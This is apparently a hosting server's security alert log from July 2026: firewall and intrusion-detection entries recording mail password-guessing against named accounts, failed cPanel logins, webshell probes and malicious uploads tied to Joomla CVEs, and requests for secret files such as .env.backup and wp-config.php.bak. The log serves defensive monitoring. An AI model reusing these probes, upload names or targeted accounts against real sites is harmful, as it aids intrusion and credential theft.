# incident

plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 116.98.104.138
country_id: 1562822
description:
2026-07-18 09:33:26 dovecot_login authenticator failed for H=([68.71.240.212]) [116.98.104.138]:49432: 535 Incorrect authentication data (set_id=mbt@globalgroupoman.com)


plugin: modsec
rule: 77210831
name: IM360 WAF: Rogue web site crawler
abuser: 209.242.211.73
country_id: 6252001
domain: globalgroupoman.com
description:
IM360 WAF: Rogue web site crawler||MVN:REQUEST_HEADERS:User-Agent||MV:Mozilla/4.0 <a href=\"http://business.newportvermontdailyexpress.com/newportvermontdailyexpress/markets/article/abnewswire-2026-6-2-car-accident-lawyer-in-maricamp-ocala-fl-pam-olsen-accident-and-injury-attorney-expands-access-to-personal-injury-legal-representation/\">Car Accident Lawyer Belleview FL</a> (Windows NT 5.1; U; en) Presto/2.10.229 Version/11.60||RSV:8.31||T:APACHE||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 4.194.24.143
country_id: 1880251
domain: ibmcglobal.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:8.31||T:APACHE||MV:/img/class-wp-http-client.php||SC:/home/ibmcglobal/public_html/img||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 197.156.113.122
country_id: 337996
description:
2026-07-18 09:33:49 dovecot_login authenticator failed for H=([211.169.212.206]) [197.156.113.122]:43274: 535 Incorrect authentication data (set_id=mbt)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 65.73.230.102
country_id: 6252001
description:
2026-07-18 09:38:13 dovecot_login authenticator failed for H=65-73-230-102.3457ff10b7f3305facc44dbac08ed40f.ip.frontiernet.net ([176.12.124.91]) [65.73.230.102]:45630: 535 Incorrect authentication data (set_id=bernadetta@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 102.210.148.41
country_id: 953987
description:
2026-07-18 09:38:35 dovecot_login authenticator failed for H=([121.131.220.157]) [102.210.148.41]:47610: 535 Incorrect authentication data (set_id=uaeindiab2b@ibmcglobal.com)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 14.181.114.132
country_id: 1562822
domain: metrodigitals.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/metrodigitals.com/component/content/article/signature-elite-series-es55-pair?Itemid=101&catid=18 HTTP/1.1||RSV:8.31||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 98.168.101.166
country_id: 6252001
description:
2026-07-18 09:48:36 dovecot_login authenticator failed for H=wsip-98-168-101-166.hr.hr.cox.net (209-6-226-104.s4710.c3-0.wtr-cbr1.sbo-wtr.ma.cable.rcncustomer.com) [98.168.101.166]:33642: 535 Incorrect authentication data (set_id=bernadetta@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 124.153.166.170
country_id: 1835841
description:
2026-07-18 09:56:08 dovecot_login authenticator failed for H=([202.138.229.190]) [124.153.166.170]:45855: 535 Incorrect authentication data (set_id=sunil)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 24.207.66.154
country_id: 6251999
description:
2026-07-18 09:55:50 dovecot_login authenticator failed for H=host-24-207-66-154.public.eastlink.ca ([49.124.151.9]) [24.207.66.154]:53318: 535 Incorrect authentication data (set_id=sunil@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 79.138.90.195
country_id: 2661886
description:
2026-07-18 09:57:07 dovecot_login authenticator failed for H=h79-138-90-195.cust.bredband2.com ([131.0.190.152]) [79.138.90.195]:48058: 535 Incorrect authentication data (set_id=rdcentre1)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 221.162.0.119
country_id: 1835841
description:
2026-07-18 09:56:56 dovecot_login authenticator failed for H=([186.238.157.140]) [221.162.0.119]:50598: 535 Incorrect authentication data (set_id=rdcentre1@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 117.250.19.91
country_id: 1269750
description:
2026-07-18 10:03:17 dovecot_login authenticator failed for H=(static.vnpt.vn) [117.250.19.91]:40362: 535 Incorrect authentication data (set_id=uaeindiab2b@ibmcglobal.com)


plugin: modsec
rule: 77140942
name: IM360 WAF: Possible WordPress Dashboard access for infectors
abuser: 85.204.70.114
country_id: 3017382
domain: ahsmarine.com
description:
IM360 WAF: Possible WordPress Dashboard access for infectors||RSV:8.31||T:APACHE||MV:/wp-json/wp/v2/users/||


plugin: modsec
rule: 77210831
name: IM360 WAF: Rogue web site crawler
abuser: 192.126.252.170
country_id: 6252001
domain: globalgroupoman.com
description:
IM360 WAF: Rogue web site crawler||MVN:REQUEST_HEADERS:User-Agent||MV:Opera/9.80 <a href=\"https://www.scenario.press/blogs/372179/Affordable-Boiler-Service-Sutton-Plans-by-WDI-Group-s-Expert\">gas central heating servicing</a> (Windows NT 5.1; U; en) Presto/2.10.229 Version/11.60||RSV:8.31||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.95.116.66
country_id: 1269750
description:
2026-07-18 10:05:03 dovecot_login authenticator failed for H=([118.69.134.243]) [182.95.116.66]:44618: 535 Incorrect authentication data (set_id=anoop.ps@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 101.13.2.182
country_id: 1668284
description:
2026-07-18 10:05:16 dovecot_login authenticator failed for H=([182.95.212.185]) [101.13.2.182]:60886: 535 Incorrect authentication data (set_id=anoop.ps)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 220.126.215.120
country_id: 1835841
description:
2026-07-18 10:08:18 dovecot_login authenticator failed for H=([178.176.250.149]) [220.126.215.120]:47332: 535 Incorrect authentication data (set_id=sajithkumar.pk@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 83.226.56.106
country_id: 2661886
description:
2026-07-18 10:09:06 dovecot_login authenticator failed for H=c-83-226-56-106.bbcust.telenor.se ([103.50.5.94]) [83.226.56.106]:34284: 535 Incorrect authentication data (set_id=sajithkumar.pk)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 122.187.226.12
country_id: 1269750
description:
2026-07-18 10:13:34 dovecot_login authenticator failed for H=([192.252.215.6]) [122.187.226.12]:56139: 535 Incorrect authentication data (set_id=support@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 111.70.32.46
country_id: 1668284
description:
2026-07-18 10:13:48 dovecot_login authenticator failed for H=111-70-32-46.emome-ip.hinet.net ([121.73.169.149]) [111.70.32.46]:35255: 535 Incorrect authentication data (set_id=support)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 24.150.93.37
country_id: 6251999
description:
[2026-07-18 10:15:15 +0530] info [cpaneld] 24.150.93.37 - globalgr "GET /login/?login_only=1&user=globalgr&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user globalgr (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 190.255.140.25
country_id: 3686110
description:
[2026-07-18 10:15:17 +0530] info [cpaneld] 190.255.140.25 - globalg1 "GET /login/?login_only=1&user=globalg1&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user globalg1 (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 41.1.94.105
country_id: 953987
description:
[2026-07-18 10:15:07 +0530] info [cpaneld] 41.1.94.105 - globalgroupoman "GET /login/?login_only=1&user=globalgroupoman&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: access denied for root, reseller, and user password


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 1.34.229.12
country_id: 1668284
description:
2026-07-18 10:17:15 dovecot_login authenticator failed for H=1-34-229-12.hinet-ip.hinet.net ([74.119.144.57]) [1.34.229.12]:52432: 535 Incorrect authentication data (set_id=bernadetta@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 188.122.37.97
country_id: 2635167
description:
2026-07-18 10:17:31 dovecot_login authenticator failed for H=([98.170.57.236]) [188.122.37.97]:42642: 535 Incorrect authentication data (set_id=bernadetta)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 4.194.24.143
country_id: 1880251
domain: gsmex.global
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:8.31||T:APACHE||MV:/img/class-wp-http-client.php||SC:/home/gsmex/public_html/img||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 221.120.4.61
country_id: 1668284
description:
2026-07-18 10:21:15 dovecot_login authenticator failed for H=221-120-4-61.emome-ip.hinet.net ([70.166.167.60]) [221.120.4.61]:48268: 535 Incorrect authentication data (set_id=bernadetta@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 211.192.54.219
country_id: 1835841
description:
2026-07-18 10:21:53 dovecot_login authenticator failed for H=([213.55.79.199]) [211.192.54.219]:47166: 535 Incorrect authentication data (set_id=bernadetta)


plugin: modsec
rule: 77350207
name: IM360 WAF: WordPress plugins/themes version enumeration
abuser: 85.204.70.114
country_id: 3017382
domain: combinations.in
description:
IM360 WAF: WordPress plugins/themes version enumeration||RSV:8.31||T:APACHE||REQUEST_URI:/wp-includes/wlwmanifest.xml||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 116.59.10.205
country_id: 1668284
description:
2026-07-18 10:25:11 dovecot_login authenticator failed for H=116-59-10-205.emome-ip.hinet.net ([98.122.215.23]) [116.59.10.205]:42804: 535 Incorrect authentication data (set_id=sajithkumar.pk@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 87.106.245.167
country_id: 3017382
description:
2026-07-18 10:28:28 dovecot_login authenticator failed for H=(nsg-static-106.102.72.182.airtel.in) [87.106.245.167]:58630: 535 Incorrect authentication data (set_id=anoop.ps@ibmcglobal.com)


plugin: modsec
rule: 77209355
name: IM360 WAF: Script execution in com_sppagebuilder media assets - web shell (CVE-2026-48908)
abuser: 196.115.176.244
country_id: 2542007
domain: globalgroupoman.com
description:
IM360 WAF: Script execution in com_sppagebuilder media assets - web shell (CVE-2026-48908)||MVN:REQUEST_FILENAME||MV:/media/com_sppagebuilder/assets/iconfont/icofont/fonts/Nxploited_1784350763745.phtml||RSV:8.31||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 31.208.55.106
country_id: 2661886
description:
2026-07-18 10:28:39 dovecot_login authenticator failed for H=31-208-55-106.cust.bredband2.com ([121.131.220.155]) [31.208.55.106]:56098: 535 Incorrect authentication data (set_id=anoop.ps)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 194.223.27.202
country_id: 2077456
description:
2026-07-18 10:29:55 dovecot_login authenticator failed for H=194-223-27-202.tpgi.com.au ([45.118.49.18]) [194.223.27.202]:57299: 535 Incorrect authentication data (set_id=cil@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 151.0.154.194
country_id: 3175395
description:
2026-07-18 10:30:15 dovecot_login authenticator failed for H=151-0-154-194.ip281.fastwebnet.it ([101.13.4.124]) [151.0.154.194]:14718: 535 Incorrect authentication data (set_id=cil)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 220.126.215.120
country_id: 1835841
description:
2026-07-18 10:30:58 dovecot_login authenticator failed for H=(ns1.sinergi.net.id) [220.126.215.120]:54598: 535 Incorrect authentication data (set_id=prasad.k@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 68.225.62.19
country_id: 6252001
description:
2026-07-18 10:31:19 dovecot_login authenticator failed for H=wsip-68-225-62-19.pn.at.cox.net ([192.111.129.146]) [68.225.62.19]:43881: 535 Incorrect authentication data (set_id=prasad.k)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 103.120.116.162
country_id: 1168579
description:
2026-07-18 10:34:33 dovecot_login authenticator failed for H=([61.142.85.190]) [103.120.116.162]:40046: 535 Incorrect authentication data (set_id=corporate@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 202.171.43.162
country_id: 1733045
description:
2026-07-18 10:34:48 dovecot_login authenticator failed for H=(ip-104-37-133-100.hosts.zerolag.com) [202.171.43.162]:34566: 535 Incorrect authentication data (set_id=corporate)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 222.97.195.179
country_id: 1835841
description:
2026-07-18 10:36:06 dovecot_login authenticator failed for H=([184.185.2.254]) [222.97.195.179]:57224: 535 Incorrect authentication data (set_id=nirmal@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.244.215.186
country_id: 298795
description:
2026-07-18 10:36:43 dovecot_login authenticator failed for H=([175.10.38.108]) [178.244.215.186]:58750: 535 Incorrect authentication data (set_id=nirmal)


plugin: modsec
rule: 77469916
abuser: 182.6.163.145
country_id: 1643084
domain: globalgroupoman.com
description:
IM360 WAF: Unauthenticated editor-profile/file upload in Joomla Content Editor JCE before 2.9.99.5 (CVE-2026-48907)||MVN:FILES:profile_file||MV:jcex5fyoa9t.xml.php||RSV:8.31||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.72.102.106
country_id: 1269750
description:
2026-07-18 10:40:02 dovecot_login authenticator failed for H=([182.78.240.94]) [182.72.102.106]:60452: 535 Incorrect authentication data (set_id=corporate@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 197.42.196.166
country_id: 357994
description:
2026-07-18 10:41:55 dovecot_plain authenticator failed for H=(dichae) [197.42.196.166]:55592: 535 Incorrect authentication data (set_id=admin@ddgalaxy.in)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 112.184.37.182
country_id: 1835841
description:
2026-07-18 10:42:31 dovecot_login authenticator failed for H=(211-20-70-64.hinet-ip.hinet.net) [112.184.37.182]:47878: 535 Incorrect authentication data (set_id=sajithkumar.pk@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 45.191.91.81
country_id: 3437598
description:
2026-07-18 10:42:42 dovecot_login authenticator failed for H=(static.ill.117.211.15.106.bsnl.co.in) [45.191.91.81]:52858: 535 Incorrect authentication data (set_id=sajithkumar.pk)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 119.13.157.203
country_id: 1831722
domain: www.metrodigitals.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.metrodigitals.com/images/ES15.jpg HTTP/1.1||RSV:8.31||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 47.253.90.63
country_id: 6252001
description:
2026-07-18 10:44:48 dovecot_login authenticator failed for H=(iZ0xi1dhkwkvg928tnolmgZ) [47.253.90.63]:33894: 535 Incorrect authentication data (set_id=jijo@ddgalaxy.in)


plugin: modsec
rule: 77350457
name: IM360 WAF: Bad file extension
abuser: 192.253.248.142
country_id: 130758
domain: keralapeople.com
description:
IM360 WAF: Bad file extension||RSV:8.31||T:APACHE||MVN:REQUEST_FILENAME||MV:/httpd.conf||User:keralapeople||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 220.80.225.19
country_id: 1835841
description:
2026-07-18 10:52:22 dovecot_login authenticator failed for H=([36.135.62.79]) [220.80.225.19]:52637: 535 Incorrect authentication data (set_id=cil)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 181.54.165.138
country_id: 3686110
description:
2026-07-18 10:51:57 dovecot_login authenticator failed for H=([220.180.107.193]) [181.54.165.138]:38930: 535 Incorrect authentication data (set_id=cil@ibmcglobal.com)


plugin: modsec
rule: 77469916
abuser: 94.198.40.116
country_id: 2921044
domain: www.globalgroupoman.com
description:
IM360 WAF: Unauthenticated editor-profile/file upload in Joomla Content Editor JCE before 2.9.99.5 (CVE-2026-48907)||MVN:FILES:profile_file||MV:jce-bd3ee80d.xml.php||RSV:8.31||T:APACHE||


plugin: modsec
rule: 77210831
name: IM360 WAF: Rogue web site crawler
abuser: 171.234.8.175
country_id: 1562822
domain: globalgroupoman.com
description:
IM360 WAF: Rogue web site crawler||MVN:REQUEST_HEADERS:User-Agent||MV:Mozilla/4.0 <a href=\"https://dragonballpowerscaling.com/index.php/L%C3%A0m_Sao_%C4%90%E1%BB%83_Kh%C3%B4ng_Mua_Ph%E1%BA%A3i_Gi%E1%BB%91ng_C%C3%A0_Ph%C3%AA_K%C3%A9m_Ch%E1%BA%A5t_L%C6%B0%E1%BB%A3ng%3F\">\xe2\x80\x9cH\xe1\xbb\xa3p t\xc3\xa1c x\xc3\xa3 Khuy\xe1\xba\xbfn N\xc3\xb4ng\xe2\x80\x9d</a> (Windows NT 5.1; U; en) Presto/2.10.229 Version/11.60||RSV:8.31||T:APACHE||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 4.194.217.15
country_id: 1880251
domain: kallanigroup.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:8.31||T:APACHE||MV:/img/class-wp-http-client.php||SC:/home/kallanigroup/public_html/img/class-wp-http-client.php||


plugin: modsec
rule: 77350457
name: IM360 WAF: Bad file extension
abuser: 103.215.74.223
country_id: 1269750
domain: ogocindia.com
description:
IM360 WAF: Bad file extension||RSV:8.31||T:APACHE||MVN:REQUEST_FILENAME||MV:/.env.backup||User:ogocindia||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.78.86.62
country_id: 1269750
description:
2026-07-18 10:57:40 dovecot_login authenticator failed for H=([171.7.83.35]) [182.78.86.62]:40200: 535 Incorrect authentication data (set_id=bernadetta@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 221.166.207.82
country_id: 1835841
description:
2026-07-18 10:58:05 dovecot_login authenticator failed for H=(5.189.23.23-FTTB.planeta.tc) [221.166.207.82]:46924: 535 Incorrect authentication data (set_id=bernadetta)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 3.80.123.161
country_id: 6252001
description:
2026-07-18 11:00:26 dovecot_login authenticator failed for H=ec2-3-80-123-161.compute-1.amazonaws.com (3.80.123.161) [3.80.123.161]:60290: 535 Incorrect authentication data (set_id=jijo@ddgalaxy.in)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 211.20.70.64
country_id: 1668284
description:
2026-07-18 11:00:45 dovecot_login authenticator failed for H=211-20-70-64.hinet-ip.hinet.net ([103.117.155.41]) [211.20.70.64]:58008: 535 Incorrect authentication data (set_id=sajithkumar.pk@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 125.23.204.74
country_id: 1269750
description:
2026-07-18 11:03:07 dovecot_login authenticator failed for H=([115.93.117.61]) [125.23.204.74]:53990: 535 Incorrect authentication data (set_id=cil@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 65.20.233.110
country_id: 99237
description:
2026-07-18 11:07:11 dovecot_login authenticator failed for H=([85.186.244.106]) [65.20.233.110]:45446: 535 Incorrect authentication data (set_id=bernadetta@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.95.232.66
country_id: 1269750
description:
2026-07-18 11:07:17 dovecot_login authenticator failed for H=([183.233.85.194]) [182.95.232.66]:37108: 535 Incorrect authentication data (set_id=prasad.k@ibmcglobal.com)


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 103.180.238.233
country_id: 1269750
domain: stcinemas.co
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:26817.stcinemas.co||ServerName:stcinemas.co||Method:metaWeblog.newPost||BlogID:1||TitleSHA:416cdaf96e830691a2f0233552bfbcc542a98dd5||Title:0xd34110b0||RSV:8.31||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 170.253.147.12
country_id: 6252001
description:
2026-07-18 11:07:41 dovecot_login authenticator failed for H=cm-170-253-147-12.maxxsouthbb.net (eth1.1172.vrrp.fw05.1739.la3.ml.zerolag.com) [170.253.147.12]:46236: 535 Incorrect authentication data (set_id=bernadetta)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 197.219.228.242
country_id: 1036973
description:
2026-07-18 11:09:24 dovecot_login authenticator failed for H=(ipmapt-72-195-114-171.oc.oc.cox.net) [197.219.228.242]:41564: 535 Incorrect authentication data (set_id=corporate@globalgroupoman.com)


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 192.186.151.158
country_id: 6252001
domain: fefkadirectorsunion.com
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.31||T:APACHE||RA:192.186.151.158||TA:192.186.151.158||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 111.70.11.152
country_id: 1668284
description:
2026-07-18 11:10:09 dovecot_login authenticator failed for H=111-70-11-152.emome-ip.hinet.net ([110.9.78.118]) [111.70.11.152]:38130: 535 Incorrect authentication data (set_id=corporate@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 47.234.138.49
country_id: 6252001
description:
2026-07-18 11:09:41 dovecot_login authenticator failed for H=([49.124.152.225]) [47.234.138.49]:35616: 535 Incorrect authentication data (set_id=corporate)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 192.81.229.181
country_id: 6252001
description:
2026-07-18 11:11:14 dovecot_login authenticator failed for H=([61.1.105.105]) [192.81.229.181]:34214: 535 Incorrect authentication data (set_id=nirmal@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 87.106.245.167
country_id: 3017382
description:
2026-07-18 11:11:26 dovecot_login authenticator failed for H=([121.46.239.201]) [87.106.245.167]:44286: 535 Incorrect authentication data (set_id=nirmal)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 189.165.21.49
country_id: 3996063
domain: keralapeople.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/keralapeople.com/detail/2d293344 HTTP/1.1||RSV:8.31||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 206.62.136.109
country_id: 3686110
description:
2026-07-18 11:16:24 dovecot_login authenticator failed for H=([144.24.209.174]) [206.62.136.109]:34758: 535 Incorrect authentication data (set_id=bernadetta@ibmcglobal.com)


plugin: modsec
rule: 77350457
name: IM360 WAF: Bad file extension
abuser: 198.186.130.10
country_id: 2921044
domain: alnayza.com
description:
IM360 WAF: Bad file extension||RSV:8.31||T:APACHE||MVN:REQUEST_FILENAME||MV:/language/en-GB/en-GB.astroid.ini||User:alnay||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 220.235.225.112
country_id: 2077456
description:
2026-07-18 11:18:31 dovecot_login authenticator failed for H=([195.43.186.51]) [220.235.225.112]:34765: 535 Incorrect authentication data (set_id=rdcentre1@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 78.66.45.101
country_id: 2661886
description:
2026-07-18 11:18:44 dovecot_login authenticator failed for H=78-66-45-101-no2550.tbcn.telia.com ([178.68.240.85]) [78.66.45.101]:36188: 535 Incorrect authentication data (set_id=rdcentre1)


plugin: modsec
rule: 77469916
abuser: 173.255.194.248
country_id: 6252001
domain: globalgroupoman.com
description:
IM360 WAF: Unauthenticated editor-profile/file upload in Joomla Content Editor JCE before 2.9.99.5 (CVE-2026-48907)||MVN:FILES:profile_file||MV:s891727.xml.php||RSV:8.31||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 77.28.245.54
country_id: 718075
domain: metrodigitals.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/metrodigitals.com/component/content/article/vssl-x-series-drivers?Itemid=101&catid=18 HTTP/1.1||RSV:8.31||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 64.207.225.55
country_id: 6252001
description:
2026-07-18 11:27:56 dovecot_login authenticator failed for H=wsip-64-207-225-55.tu.ok.cox.net ([112.173.166.253]) [64.207.225.55]:44184: 535 Incorrect authentication data (set_id=sunil@globalgroupoman.com)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 113.191.85.6
country_id: 1562822
domain: keralapeople.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/keralapeople.com/detail/4d1008822 HTTP/1.1||RSV:8.31||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 24.207.66.154
country_id: 6251999
description:
2026-07-18 11:30:31 dovecot_login authenticator failed for H=host-24-207-66-154.public.eastlink.ca (abts-north-dynamic-014.127.163.122.airtelbroadband.in) [24.207.66.154]:39250: 535 Incorrect authentication data (set_id=sunil@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 211.192.54.219
country_id: 1835841
description:
2026-07-18 11:30:43 dovecot_login authenticator failed for H=([103.161.93.53]) [211.192.54.219]:59984: 535 Incorrect authentication data (set_id=sunil)


plugin: modsec
rule: 77469916
abuser: 51.96.154.104
country_id: 2658434
domain: globalgroupoman.com
description:
IM360 WAF: Unauthenticated editor-profile/file upload in Joomla Content Editor JCE before 2.9.99.5 (CVE-2026-48907)||MVN:FILES:profile_file||MV:alfa.php||RSV:8.31||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 197.219.208.58
country_id: 1036973
description:
2026-07-18 11:35:52 dovecot_login authenticator failed for H=(firewall01.practicetechnologies.ml.zerolag.com) [197.219.208.58]:60476: 535 Incorrect authentication data (set_id=investmentmanager@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.95.181.26
country_id: 1269750
description:
2026-07-18 11:36:02 dovecot_login authenticator failed for H=(ip68-7-114-69.sd.sd.cox.net) [182.95.181.26]:55656: 535 Incorrect authentication data (set_id=investmentmanager)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 101.13.5.50
country_id: 1668284
description:
2026-07-18 11:41:22 dovecot_login authenticator failed for H=([220.77.214.59]) [101.13.5.50]:51626: 535 Incorrect authentication data (set_id=bernadetta@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 159.223.111.27
country_id: 6252001
description:
2026-07-18 11:41:36 dovecot_login authenticator failed for H=([62.20.205.17]) [159.223.111.27]:58130: 535 Incorrect authentication data (set_id=bernadetta)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 122.163.127.14
country_id: 1269750
description:
2026-07-18 11:44:55 dovecot_login authenticator failed for H=([102.210.149.132]) [122.163.127.14]:5865: 535 Incorrect authentication data (set_id=bernadetta@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 65.20.153.146
country_id: 99237
description:
2026-07-18 11:45:04 dovecot_login authenticator failed for H=(ool-44c56b1f.dyn.optonline.net) [65.20.153.146]:39137: 535 Incorrect authentication data (set_id=bernadetta)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 49.206.28.215
country_id: 1269750
description:
2026-07-18 11:45:47 dovecot_login authenticator failed for H=(78DA6E9876C8.mldns.ru) [49.206.28.215]:11625: 535 Incorrect authentication data (set_id=bernadetta@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 1.250.67.190
country_id: 1835841
description:
2026-07-18 11:47:40 dovecot_login authenticator failed for H=([72.37.217.1]) [1.250.67.190]:38440: 535 Incorrect authentication data (set_id=corporate@globalgroupoman.com)


plugin: modsec
rule: 77350457
name: IM360 WAF: Bad file extension
abuser: 35.92.192.60
country_id: 6252001
domain: www.gsmex.global
description:
IM360 WAF: Bad file extension||RSV:8.31||T:APACHE||MVN:REQUEST_FILENAME||MV:/wp-config.php.bak||User:gsmex||


plugin: modsec
rule: 77210831
name: IM360 WAF: Rogue web site crawler
abuser: 171.234.8.175
country_id: 1562822
domain: globalgroupoman.com
description:
IM360 WAF: Rogue web site crawler||MVN:REQUEST_HEADERS:User-Agent||MV:Opera/9.80 <a href=\"https://brickipedia.org/index.php?title=L%C3%A0m_Th%E1%BA%BF_N%C3%A0o_%C4%90%E1%BB%83_Ch%E1%BB%8Dn_%C4%90%C3%BAng_N%C6%A1i_B%C3%A1n_Gi%E1%BB%91ng_C%C3%A0_Ph%C3%AA%3F\">\xe2\x80\x9cvi\xe1\xbb\x87n c\xc3\xa2y gi\xe1\xbb\x91ng\xe2\x80\x9d</a> (Windows NT 5.1; U; en) Presto/2.10.229 Version/11.60||RSV:8.31||T:APACHE||


plugin: modsec
rule: 77469916
abuser: 38.47.191.134
country_id: 1880251
domain: alnayza.com
description:
IM360 WAF: Unauthenticated editor-profile/file upload in Joomla Content Editor JCE before 2.9.99.5 (CVE-2026-48907)||MVN:FILES:profile_file||MV:jce-b0bf0321.xml.php||RSV:8.31||T:APACHE||


plugin: modsec
rule: 77209355
name: IM360 WAF: Script execution in com_sppagebuilder media assets - web shell (CVE-2026-48908)
abuser: 196.115.176.244
country_id: 2542007
domain: elegantautomotives.com
description:
IM360 WAF: Script execution in com_sppagebuilder media assets - web shell (CVE-2026-48908)||MVN:REQUEST_FILENAME||MV:/media/com_sppagebuilder/assets/iconfont/icofont/fonts/Nxploited_1784355795626.PhP||RSV:8.31||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
